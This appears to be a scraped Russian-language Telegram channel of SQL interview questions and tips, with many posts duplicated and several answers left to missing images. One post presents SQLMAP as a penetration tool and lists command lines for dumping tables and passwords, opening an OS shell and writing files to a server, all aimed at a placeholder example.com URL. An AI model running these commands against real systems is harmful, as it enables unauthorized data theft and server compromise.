#Вопросы_с_собеседования
❓Объясните различные типы нормализации
Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.
• Первая нормальная форма (1NF) — нет повторяющихся групп в строках
• Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
• Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
❓Объясните различные типы нормализации
Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.
• Первая нормальная форма (1NF) — нет повторяющихся групп в строках
• Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
• Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
👍10
#Вопросы_с_собеседования
Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года
Ответ на картинке.
Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года
Ответ на картинке.
👍9❤🔥5
#Вопросы_с_собеседования
❓Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года
Ответ на картинке.
❓Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года
Ответ на картинке.
👍14
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
sqlmap -u "http://example.com/page.php?id=1"
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
sqlmap -u "http://example.com/page.php?id=1" --os-shell
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
sqlmap -u "http://example.com/page.php?id=1" --is-dba
sqlmap -u "http://example.com/page.php?id=1" --passwords
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://example.com/page.php?id=1" --banner
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍4
Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?
Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.
Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.
Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
1👍12
#Вопросы_с_собеседования
❓При выборке из таблицы workers выведите дату в формате '31.12.2025'
Ответ на картинке.
❓При выборке из таблицы workers выведите дату в формате '31.12.2025'
Ответ на картинке.
👍10
Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей
Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.
Пример SQL-запроса для создания поля new_field на фото.
В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.
Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.
Пример SQL-запроса для создания поля new_field на фото.
В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.
Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
👍8
Please open Telegram to view this post
VIEW IN TELEGRAM
👍20😁6
This media is not supported in your browser
VIEW IN TELEGRAM
TRUNCATE мгновенно удаляет все строки в таблице
Одновременно удалите строки из дочерних таблиц с помощью функции
Для этого внешние ключи должны быть
Одновременно удалите строки из дочерних таблиц с помощью функции
TRUNCATE TABLE ... CASCADEДля этого внешние ключи должны быть
ON DELETE CASCADE👍11
Какой результат вернет следующий PostgreSQL/MySQL запрос:
SELECT GREATEST (6.62, - 8, '82') ;
SELECT GREATEST (6.62, - 8, '82') ;
Anonymous Quiz
24%
6.62
2%
- 8
26%
82
30%
Ошибка
19%
Посмотреть ответы
👍14
#Вопросы_с_собеседования
В чем разница между функциями NOW() и CURRENT_DATE() в PostgreSQL/MySQL?
Основное различие между
В чем разница между функциями NOW() и CURRENT_DATE() в PostgreSQL/MySQL?
NOW() возвращает время, когда начал исполняться оператор.Основное различие между
NOW() и CURRENT_DATE() заключается в том, что NOW() получает текущую дату и время в формате 'YYYY-MM-DD HH:MM:SS', а CURRENT_DATE() получает дату текущего дня 'YYYY-MM-DD'.👍4❤🔥1
Делаем SQL-запросы чище
Периодически в коде запросов и "заточенных" под них индексов наблюдаю примерно подобные куски:
Понятно, что тут хотели обезопасить себя от заполненности любого из полей NULL-значением, чтобы случайно вся строка не заNULL'илась.
Правда, тут возникают некоторые артефакты в виде "висящих пробелов" типа
Но ведь есть решение изящнее и проще - функция concat_ws:
Периодически в коде запросов и "заточенных" под них индексов наблюдаю примерно подобные куски:
coalesce("Фамилия", '') || ' ' || coalesce("Имя", '') || ' ' || coalesce("Отчество", '')
Понятно, что тут хотели обезопасить себя от заполненности любого из полей NULL-значением, чтобы случайно вся строка не заNULL'илась.
Правда, тут возникают некоторые артефакты в виде "висящих пробелов" типа
' Иван Иванович' или 'Иванов Иван '.Но ведь есть решение изящнее и проще - функция concat_ws:
concat_ws(' ', "Фамилия", "Имя", "Отчество")👍10